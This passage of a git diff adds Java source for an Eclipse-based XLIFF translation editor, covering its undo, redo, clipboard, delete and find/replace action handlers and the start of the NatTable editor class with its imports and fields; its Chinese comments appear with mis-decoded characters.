使用TextViewer组件的撤销功能 + viewer.doOperation(ITextOperationTarget.UNDO); + updateActionsEnableState(); + return; + } + if (undoAction != null) { + undoAction.runWithEvent(event); + return; + } + } + + /** + * Update the state. + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.UNDO)); + return; + } + if (undoAction != null) { + setEnabled(undoAction.isEnabled()); + return; + } + setEnabled(false); + } + } + + /** + * é‡åšå¤„ç† + * @author Leakey + * @version + * @since JDK1.6 + */ + private class RedoActionHandler extends Action { + protected RedoActionHandler() { + super("REDO");//$NON-NLS-1$ + setId("XLIFFEditorRedoActionHandler");//$NON-NLS-1$ + setEnabled(false); + } + + public void runWithEvent(Event event) { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + // 使用TextVieweræ供的é‡åšåŠŸèƒ½ + viewer.doOperation(ITextOperationTarget.REDO); + updateActionsEnableState(); + return; + } + if (redoAction != null) { + redoAction.runWithEvent(event); + return; + } + } + + /** + * Update the state. + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.REDO)); + return; + } + if (undoAction != null) { + setEnabled(redoAction.isEnabled()); + return; + } + setEnabled(false); + } + } + + private class CopyActionHandler extends Action { + protected CopyActionHandler() { + super(IDEWorkbenchMessages.Copy); + setId("XLIFFEditorCopyActionHandler");//$NON-NLS-1$ + setEnabled(false); + PlatformUI.getWorkbench().getHelpSystem().setHelp(this, IIDEHelpContextIds.TEXT_COPY_ACTION); + } + + public void runWithEvent(Event event) { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + viewer.doOperation(ITextOperationTarget.COPY); + updateActionsEnableState(); + return; + } + if (copyAction != null) { + copyAction.runWithEvent(event); + return; + } + } + + /** + * Update the state. + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.COPY)); + return; + } + if (copyAction != null) { + setEnabled(copyAction.isEnabled()); + return; + } + setEnabled(false); + } + } + + private class PasteActionHandler extends Action { + protected PasteActionHandler() { + super(IDEWorkbenchMessages.Paste); + setId("XLIFFEditorPasteActionHandler");//$NON-NLS-1$ + setEnabled(false); + PlatformUI.getWorkbench().getHelpSystem().setHelp(this, IIDEHelpContextIds.TEXT_PASTE_ACTION); + } + + public void runWithEvent(Event event) { + Clipboard clipboard = null; + try { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + clipboard = new Clipboard(viewer.getTextWidget().getDisplay()); + TextTransfer plainTextTransfer = TextTransfer.getInstance(); + String contents = (String) clipboard.getContents(plainTextTransfer); + if (contents == null) { + setEnabled(false); + return; + } + Transfer[] types = new Transfer[] { plainTextTransfer }; + String result = contents; + String selText = viewer.getTextWidget().getSelectionText(); + if (selText.equals(contents)) { + return; + } + if (viewer.getTextWidget().getSelectionCount() != viewer.getTextWidget().getText().length()) { + result = filterInnerTag(contents); // 过滤掉系统剪切æ¿ä¸­çš„标记。 + } else { + StringBuffer bf = new StringBuffer(contents); + Matcher matcher = PATTERN.matcher(contents); + List needRemove = new ArrayList(); + while (matcher.find()) { + String placeHolder = matcher.group(); + InnerTag tag = InnerTagUtil.getInnerTag(viewer.getInnerTagCacheList(), placeHolder); + if (tag == null) { + needRemove.add(placeHolder); + } + } + result = bf.toString(); + for (String r : needRemove) { + result = result.replaceAll(r, ""); + } + } + if (result == null || result.length() == 0) { + return; + } + Object[] data = new Object[] { result }; + try { + clipboard.setContents(data, types); + } catch (Exception e) { + e.printStackTrace(); + } + + viewer.doOperation(ITextOperationTarget.PASTE); + updateActionsEnableState(); + + data = new Object[] { contents }; + try { + clipboard.setContents(data, types); + } catch (Exception e) { + e.printStackTrace(); + } + + return; + } + if (pasteAction != null) { + pasteAction.runWithEvent(event); + return; + } + } finally { + if (clipboard != null && !clipboard.isDisposed()) { + clipboard.dispose(); + } + } + } + + /** + * 过滤掉系统剪切æ¿ä¸­çš„标记 + */ + private String filterInnerTag(String contents) { + if (contents == null) { + return contents; + } + List cacheTags = viewer.getInnerTagCacheList(); + String fullText = viewer.getTextWidget().getText(); + + Matcher matcher = PATTERN.matcher(contents); + Stack stack = new Stack(); + Stack phStack = new Stack(); + List needRemove = new ArrayList(); + while (matcher.find()) { + String placeHolder = matcher.group(); + InnerTag tag = InnerTagUtil.getInnerTag(cacheTags, placeHolder); + if (tag == null) { + needRemove.add(placeHolder); + continue; + } + if (tag.getInnerTagBean().getType() == TagType.START) { + stack.push(tag); + phStack.push(placeHolder); + continue; + } else if (tag.getInnerTagBean().getType() == TagType.END) { + if (stack.isEmpty()) { + // åªæœ‰ç»“æŸ æ²¡æœ‰å¼€å§‹ + needRemove.add(placeHolder); + continue; + } + InnerTag _tag = stack.pop(); + String _placeHolder = phStack.pop(); + if (tag.getInnerTagBean().getIndex() != _tag.getInnerTagBean().getIndex()) { + needRemove.add(placeHolder); + needRemove.add(_placeHolder); + continue; + } + int start = -1; + if ((start = fullText.indexOf(_placeHolder)) != -1) { + viewer.getTextWidget().replaceTextRange(start, _placeHolder.length(), ""); + fullText = viewer.getTextWidget().getText(); + } + if ((start = fullText.indexOf(placeHolder)) != -1) { + viewer.getTextWidget().replaceTextRange(start, placeHolder.length(), ""); + fullText = viewer.getTextWidget().getText(); + } + } else { + int start = -1; + if ((start = fullText.indexOf(placeHolder)) != -1) { + viewer.getTextWidget().replaceTextRange(start, placeHolder.length(), ""); + fullText = viewer.getTextWidget().getText(); + } + } + } + + while (!stack.isEmpty()) { + needRemove + .add(InnerTagUtil.getPlaceHolder(viewer.getInnerTagCacheList(), stack.pop().getInnerTagBean())); + } + for (String r : needRemove) { + contents = contents.replaceAll(r, ""); + } + return contents; + } + + /** + * Update the state + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.PASTE)); + return; + } + if (pasteAction != null) { + setEnabled(pasteAction.isEnabled()); + return; + } + setEnabled(false); + } + } + + private class DeleteActionHandler extends Action { + protected DeleteActionHandler() { + super(IDEWorkbenchMessages.Delete); + setId("TextDeleteActionHandler");//$NON-NLS-1$ + setEnabled(false); + PlatformUI.getWorkbench().getHelpSystem().setHelp(this, IIDEHelpContextIds.TEXT_DELETE_ACTION); + } + + public void runWithEvent(Event event) { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + StyledTextCellEditor editor = HsMultiActiveCellEditor.getFocusCellEditor(); + boolean isSrc = false; + if (editor != null && editor.getCellType().equals(NatTableConstant.SOURCE)) { + isSrc = true; + } + StyledText styledText = viewer.getTextWidget(); + String text = styledText.getText(); + String selectionText = styledText.getSelectionText(); + // 当选择æºæ–‡æ—¶ï¼Œè¦åˆ¤æ–­æ˜¯å¦æ˜¯åˆ é™¤æ‰€æœ‰æºæ–‡ + if (isSrc) { + if (selectionText != null && text != null && text.equals(selectionText)) { + MessageDialog.openInformation(viewer.getTextWidget().getShell(), + Messages.getString("editor.XLIFFEditorActionHandler.msgTitle"), + Messages.getString("editor.XLIFFEditorActionHandler.msg")); + return; + } + } + viewer.doOperation(ITextOperationTarget.DELETE); + updateActionsEnableState(); + return; + } + if (deleteAction != null) { + deleteAction.runWithEvent(event); + return; + } + } + + /** + * Update state. + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.DELETE)); + return; + } + if (deleteAction != null) { + setEnabled(deleteAction.isEnabled()); + return; + } + setEnabled(false); + } + } + + private class SelectAllActionHandler extends Action { + protected SelectAllActionHandler() { + super(IDEWorkbenchMessages.TextAction_selectAll); + setId("TextSelectAllActionHandler");//$NON-NLS-1$ + setEnabled(false); + PlatformUI.getWorkbench().getHelpSystem().setHelp(this, IIDEHelpContextIds.TEXT_SELECT_ALL_ACTION); + } + + public void runWithEvent(Event event) { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + viewer.doOperation(ITextOperationTarget.SELECT_ALL); + updateActionsEnableState(); + return; + } + if (selectAllAction != null) { + selectAllAction.runWithEvent(event); + return; + } + } + + /** + * Update the state. + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.SELECT_ALL)); + return; + } + if (selectAllAction != null) { + setEnabled(selectAllAction.isEnabled()); + return; + } + setEnabled(false); + } + } + + private class FindReplaceActionHandler extends Action { + protected FindReplaceActionHandler() { + super("FindReplace"); + setId("TextFindReplaceActionHandler");//$NON-NLS-1$ + setEnabled(false); + } + + private FindReplaceDialog searchDialog; + + public void runWithEvent(Event event) { + XLIFFEditorImplWithNatTable editor = XLIFFEditorImplWithNatTable.getCurrent(); + if (editor != null) { + String selectionText = editor.getSelectPureText(); + if (searchDialog == null) { + searchDialog = FindReplaceDialog.createDialog(editor.getEditorSite().getShell()); + } + NatTable natTable = editor.getTable(); + int srcColumnIndex = editor.getSrcColumnIndex(); + int[] columnPositions = { LayerUtil.getColumnPositionByIndex(natTable, srcColumnIndex) }; // 默认查询 source + ColumnSearchStrategy searchStrategy = new ColumnSearchStrategy(columnPositions, editor); + searchDialog.setSearchStrategy(searchStrategy, new DefaultCellSearchStrategy()); + searchDialog.open(); + + // ICellEditor iCellEditor = ActiveCellEditor.getCellEditor(); + // String selectionText = ""; + // if (iCellEditor != null) { + // if (iCellEditor instanceof StyledTextCellEditor) { + // StyledTextCellEditor cellEditor = (StyledTextCellEditor) + // iCellEditor; + // StyledText styledText = + // cellEditor.getSegmentViewer().getTextWidget(); + // Point p = styledText.getSelection(); + // if (p != null) { + // if (p.x != p.y) { + // // selectionText = cellEditor.getSelectedOriginalText(); + // // åªèŽ·å–纯文本,清除标记 + // selectionText = cellEditor.getSelectedPureText(); + // // å°†æ¢è¡Œç¬¦æ›¿æ¢ä¸ºç©º + // selectionText = selectionText.replaceAll("\n", ""); + // } + // } + // } + // + // } + searchDialog.setSearchText(selectionText != null ? selectionText : ""); + + updateEnabledState(); + return; + } + if (findReplaceAction != null) { + findReplaceAction.runWithEvent(event); + return; + } + } + + /** + * Update the state. + */ + public void updateEnabledState() { + XLIFFEditorImplWithNatTable editor = XLIFFEditorImplWithNatTable.getCurrent(); + if (editor != null) { + setEnabled(true); + return; + } + if (selectAllAction != null) { + setEnabled(selectAllAction.isEnabled()); + return; + } + setEnabled(false); + } + } + + /** + * Add a Text control to the handler so that the Cut, Copy, Paste, Delete, Undo, Redo and Select All + * actions are redirected to it when active. + * @param viewer + * the inline Text control + */ + public void addTextViewer(SegmentViewer viewer) { + if (viewer == null) { + return; + } + this.viewer = viewer; + StyledText textControl = viewer.getTextWidget(); + + // 移除 StyledText 默认绑定的 Delete 键。解决“按下 Delete é”®åŽä¼šåˆ é™¤ä¸¤æ¬¡â€çš„ Bug。 + textControl.setKeyBinding(SWT.DEL, SWT.NULL); + + viewer.addSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + updateActionsEnableState(); + } + }); + + textControl.addModifyListener(new ModifyListener() { + public void modifyText(ModifyEvent e) { + updateActionsEnableState(); + } + }); + + actionBar.setGlobalActionHandler(ActionFactory.CUT.getId(), textCutAction); + actionBar.setGlobalActionHandler(ActionFactory.COPY.getId(), textCopyAction); + actionBar.setGlobalActionHandler(ActionFactory.PASTE.getId(), textPasteAction); + actionBar.setGlobalActionHandler(ActionFactory.SELECT_ALL.getId(), textSelectAllAction); + actionBar.setGlobalActionHandler(ActionFactory.DELETE.getId(), textDeleteAction); + actionBar.setGlobalActionHandler(ActionFactory.UNDO.getId(), textUndoAction); + actionBar.setGlobalActionHandler(ActionFactory.REDO.getId(), textRedoAction); + + if (textControl.isFocusControl()) { + updateActionsEnableState(); + } else { + actionBar.updateActionBars(); + } + } + + public void updateGlobalActionHandler() { + actionBar.setGlobalActionHandler(ActionFactory.CUT.getId(), textCutAction); + actionBar.setGlobalActionHandler(ActionFactory.COPY.getId(), textCopyAction); + actionBar.setGlobalActionHandler(ActionFactory.PASTE.getId(), textPasteAction); + actionBar.setGlobalActionHandler(ActionFactory.SELECT_ALL.getId(), textSelectAllAction); + actionBar.setGlobalActionHandler(ActionFactory.DELETE.getId(), textDeleteAction); + actionBar.setGlobalActionHandler(ActionFactory.UNDO.getId(), textUndoAction); + actionBar.setGlobalActionHandler(ActionFactory.REDO.getId(), textRedoAction); + + if (viewer != null && viewer.getTextWidget().isFocusControl()) { + updateActionsEnableState(); + } else { + actionBar.updateActionBars(); + } + } + + /** + * Dispose of this action handler + */ + public void dispose() { + setCutAction(null); + setCopyAction(null); + setPasteAction(null); + setSelectAllAction(null); + setDeleteAction(null); + setUndoAction(null); + } + + /** + * Removes a Text control from the handler so that the Cut, Copy, Paste, Delete, and Select All actions + * are no longer redirected to it when active. + * @param textControl + * the inline Text control + */ + public void removeTextViewer() { + if (viewer == null) { + return; + } + viewer = null; + updateActionsEnableState(); + } + + /** + * Set the default IAction handler for the Copy action. This IAction is run only if no + * active inline text control. + * @param action + * the IAction to run for the Copy action, or null if not interested. + */ + public void setCopyAction(IAction action) { + if (copyAction == action) { + return; + } + + if (copyAction != null) { + copyAction.removePropertyChangeListener(copyActionListener); + } + + copyAction = action; + + if (copyAction != null) { + copyAction.addPropertyChangeListener(copyActionListener); + } + + textCopyAction.updateEnabledState(); + } + + /** + * Set the default IAction handler for the Cut action. This IAction is run only if no + * active inline text control. + * @param action + * the IAction to run for the Cut action, or null if not interested. + */ + public void setCutAction(IAction action) { + if (cutAction == action) { + return; + } + + if (cutAction != null) { + cutAction.removePropertyChangeListener(cutActionListener); + } + + cutAction = action; + + if (cutAction != null) { + cutAction.addPropertyChangeListener(cutActionListener); + } + + textCutAction.updateEnabledState(); + } + + /** + * Set the default IAction handler for the Undo action. This IAction is run only if no + * active inline text control. + * @param action + * the IAction to run for the Undo action, or null if not interested. + */ + public void setUndoAction(IAction action) { + if (undoAction == action) { + return; + } + + if (undoAction != null) { + undoAction.removePropertyChangeListener(undoActionListener); + } + + undoAction = action; + + if (undoAction != null) { + undoAction.addPropertyChangeListener(undoActionListener); + } + + textUndoAction.updateEnabledState(); + } + + public void setRedoAction(IAction action) { + if (redoAction == action) { + return; + } + + if (redoAction != null) { + redoAction.removePropertyChangeListener(redoActionListener); + } + + redoAction = action; + + if (redoAction != null) { + redoAction.addPropertyChangeListener(redoActionListener); + } + + textRedoAction.updateEnabledState(); + } + + /** + * Set the default IAction handler for the Paste action. This IAction is run only if no + * active inline text control. + * @param action + * the IAction to run for the Paste action, or null if not interested. + */ + public void setPasteAction(IAction action) { + if (pasteAction == action) { + return; + } + + if (pasteAction != null) { + pasteAction.removePropertyChangeListener(pasteActionListener); + } + + pasteAction = action; + + if (pasteAction != null) { + pasteAction.addPropertyChangeListener(pasteActionListener); + } + + textPasteAction.updateEnabledState(); + } + + /** + * Set the default IAction handler for the Select All action. This IAction is run only if + * no active inline text control. + * @param action + * the IAction to run for the Select All action, or null if not interested. + */ + public void setSelectAllAction(IAction action) { + if (selectAllAction == action) { + return; + } + + if (selectAllAction != null) { + selectAllAction.removePropertyChangeListener(selectAllActionListener); + } + + selectAllAction = action; + + if (selectAllAction != null) { + selectAllAction.addPropertyChangeListener(selectAllActionListener); + } + + textSelectAllAction.updateEnabledState(); + } + + /** + * Set the default IAction handler for the Delete action. This IAction is run only if no + * active inline text control. + * @param action + * the IAction to run for the Delete action, or null if not interested. + */ + public void setDeleteAction(IAction action) { + if (deleteAction == action) { + return; + } + + if (deleteAction != null) { + deleteAction.removePropertyChangeListener(deleteActionListener); + } + + deleteAction = action; + + if (deleteAction != null) { + deleteAction.addPropertyChangeListener(deleteActionListener); + } + + textDeleteAction.updateEnabledState(); + } + + /** + * Set the default IAction handler for the Find/Replcae action. This IAction is run only + * if no active xliffeditor. + * @param action + * the IAction to run for the Find/Replcae action, or null if not interested. + */ + public void setFindReplaceAction(IAction action) { + if (findReplaceAction == action) { + return; + } + + if (findReplaceAction != null) { + findReplaceAction.removePropertyChangeListener(findReplaceActionListener); + } + + findReplaceAction = action; + + if (findReplaceAction != null) { + findReplaceAction.addPropertyChangeListener(findReplaceActionListener); + } + + textFindReplaceAction.updateEnabledState(); + } + + /** + * Update the enable state of the Cut, Copy, Paste, Delete, Undo, Redo and Select All action handlers + */ + public void updateActionsEnableState() { + textCutAction.updateEnabledState(); + textCopyAction.updateEnabledState(); + textPasteAction.updateEnabledState(); + textSelectAllAction.updateEnabledState(); + textDeleteAction.updateEnabledState(); + textUndoAction.updateEnabledState(); + textRedoAction.updateEnabledState(); + + actionBar.updateActionBars(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/XLIFFEditorImplWithNatTable.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/XLIFFEditorImplWithNatTable.java new file mode 100644 index 0000000..8a0daef --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/XLIFFEditorImplWithNatTable.java @@ -0,0 +1,2654 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.editor; + +import java.io.BufferedInputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.IOException; +import java.io.Serializable; +import java.lang.reflect.InvocationTargetException; +import java.net.URI; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collection; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; +import java.util.Vector; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.innertag.TagStyle; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.core.bean.NoteBean; +import net.heartsome.cat.ts.core.bean.TransUnitBean; +import net.heartsome.cat.ts.core.file.RowIdUtil; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.Constants; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.UpdateDataBean; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.config.VerticalNatTableConfig; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.config.XLIFFEditorCompositeLayerConfiguration; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.config.XLIFFEditorSelectionLayerConfiguration; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.dataprovider.VerticalLayerBodyDataProvider; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.dataprovider.XliffEditorDataProvider; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.dialog.CustomFilterDialog; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.exception.UnexpectedTypeExcetion; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.AutoResizeCurrentRowsCommand; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.AutoResizeCurrentRowsCommandHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.UpdateDataAndAutoResizeCommandHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.HorizontalViewportLayer; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.VerticalViewportLayer; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.menu.BodyMenuConfiguration; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.LineNumberPainter; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.StatusPainter; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.painter.XliffEditorGUIHelper.ImageName; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.AddSegmentToTMPropertyTester; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.SignOffPropertyTester; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.UnTranslatedPropertyTester; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.XLIFFEditorSelectionPropertyTester; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.command.FindReplaceCommandHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.selection.HorizontalRowSelectionModel; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.selection.IRowIdAccessor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.selection.RowSelectionProvider; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.selection.VerticalRowSelectionModel; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.sort.NatTableSortModel; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.UpdateSegmentsOperation; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.utils.NattableUtil; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.columnRename.RenameColumnHeaderCommand; +import net.sourceforge.nattable.config.AbstractRegistryConfiguration; +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.ConfigRegistry; +import net.sourceforge.nattable.config.DefaultNatTableStyleConfiguration; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.config.IConfiguration; +import net.sourceforge.nattable.config.IEditableRule; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.data.IDataProvider; +import net.sourceforge.nattable.data.ISpanningDataProvider; +import net.sourceforge.nattable.data.ReflectiveColumnPropertyAccessor; +import net.sourceforge.nattable.edit.EditConfigAttributes; +import net.sourceforge.nattable.grid.GridRegion; +import net.sourceforge.nattable.grid.command.ClientAreaResizeCommand; +import net.sourceforge.nattable.grid.data.DefaultColumnHeaderDataProvider; +import net.sourceforge.nattable.grid.layer.ColumnHeaderLayer; +import net.sourceforge.nattable.hideshow.ColumnHideShowLayer; +import net.sourceforge.nattable.layer.AbstractLayerTransform; +import net.sourceforge.nattable.layer.CompositeLayer; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.layer.SpanningDataLayer; +import net.sourceforge.nattable.layer.cell.ColumnOverrideLabelAccumulator; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.layer.config.DefaultColumnHeaderStyleConfiguration; +import net.sourceforge.nattable.painter.cell.ICellPainter; +import net.sourceforge.nattable.resize.command.MultiColumnResizeCommand; +import net.sourceforge.nattable.search.command.SearchCommand; +import net.sourceforge.nattable.selection.ISelectionModel; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.command.SelectCellCommand; +import net.sourceforge.nattable.selection.command.SelectColumnCommand; +import net.sourceforge.nattable.sort.SortHeaderLayer; +import net.sourceforge.nattable.sort.config.SingleClickSortConfiguration; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.CellStyleUtil; +import net.sourceforge.nattable.style.DisplayMode; +import net.sourceforge.nattable.style.HorizontalAlignmentEnum; +import net.sourceforge.nattable.style.Style; +import net.sourceforge.nattable.util.GUIHelper; +import net.sourceforge.nattable.viewport.ViewportLayer; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.IUndoContext; +import org.eclipse.core.commands.operations.ObjectUndoContext; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.core.filesystem.EFS; +import org.eclipse.core.filesystem.IFileStore; +import org.eclipse.core.filesystem.URIUtil; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.action.IStatusLineManager; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.jface.util.Util; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.ISelectionProvider; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.window.DefaultToolTip; +import org.eclipse.jface.window.ToolTip; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.FocusAdapter; +import org.eclipse.swt.events.FocusEvent; +import org.eclipse.swt.events.KeyAdapter; +import org.eclipse.swt.events.KeyEvent; +import org.eclipse.swt.events.PaintEvent; +import org.eclipse.swt.events.PaintListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.VerifyEvent; +import org.eclipse.swt.events.VerifyListener; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.IEditorDescriptor; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IEditorRegistry; +import org.eclipse.ui.IEditorSite; +import org.eclipse.ui.IPropertyListener; +import org.eclipse.ui.IURIEditorInput; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IViewReference; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.commands.ICommandService; +import org.eclipse.ui.ide.FileStoreEditorInput; +import org.eclipse.ui.ide.ResourceUtil; +import org.eclipse.ui.operations.UndoRedoActionGroup; +import org.eclipse.ui.part.EditorPart; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.NavException; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * 使用 Nat Table 实现的 XLIFF 编辑器 + * @author Cheney,Weachy,Leakey + * @since JDK1.5 + */ +public class XLIFFEditorImplWithNatTable extends EditorPart implements IXliffEditor { + + private static final Logger LOGGER = LoggerFactory.getLogger(XLIFFEditorImplWithNatTable.class); + + /** 常é‡ï¼Œç¼–辑器ID。 */ + public static final String ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable"; + + /** 标签列的标记 */ + public static final String FLAG_CELL_LABEL = "FLAG_Cell_LABEL"; + + /** å¯ç¼–辑å•å…ƒæ ¼çš„标记 */ + // public static final String EDIT_CELL_LABEL = "EDIT_Cell_LABEL"; + public static final String SOURCE_EDIT_CELL_LABEL = "SOURCE_EDIT_CELL_LABEL"; + public static final String TARGET_EDIT_CELL_LABEL = "TARGET_EDIT_CELL_LABEL"; + + /** 连接符å·ï¼Œç”¨äºŽè¿žæŽ¥æºè¯­è¨€å’Œç›®æ ‡è¯­è¨€çš„ç§ç±»ï¼Œä¾‹å¦‚“zh-CN -> en†*/ + private static final String Hyphen = " -> "; + + /** 编辑器的标题图 */ + private Image titleImage; + + /** 为 NatTable æ供内容的数æ®æ供者 */ + private XliffEditorDataProvider bodyDataProvider; + + /** 需è¦åœ¨ NatTable 中显示的数æ®å¯¹è±¡çš„属性值 */ + private String[] propertyNames; + + /** æ•°æ®å¯¹è±¡çš„属性值对应在 NatTable 中显示的列头å称 */ + private Map propertyToLabels; + + /** æ•°æ®å¯¹è±¡çš„属性值对应的列在 NatTable 中显示的列宽 */ + private Map propertyToColWidths; + + /** NatTable 中的 Body Region çš„ Layout Stack */ + private BodyLayerStack bodyLayer; + + /** NatTable */ + private NatTable table; + + private Combo cmbFilter; + + /** source 列的列å */ + private String srcColumnName; + + public String getSrcColumnName() { + return srcColumnName; + } + + /** target 列的列å */ + private String tgtColumnName; + + /** + * 获å–目标语言列å + */ + public String getTgtColumnName() { + return tgtColumnName; + } + + /** 是å¦ä¸ºæ°´å¹³å¸ƒå±€ */ + private boolean isHorizontalLayout = true; + + /** NatTable所在的Composite */ + private Composite parent; + + /** XLIFF æ–‡ä»¶å¤„ç† */ + private XLFHandler handler = new XLFHandler(); + + /** The editor's property change listener. */ 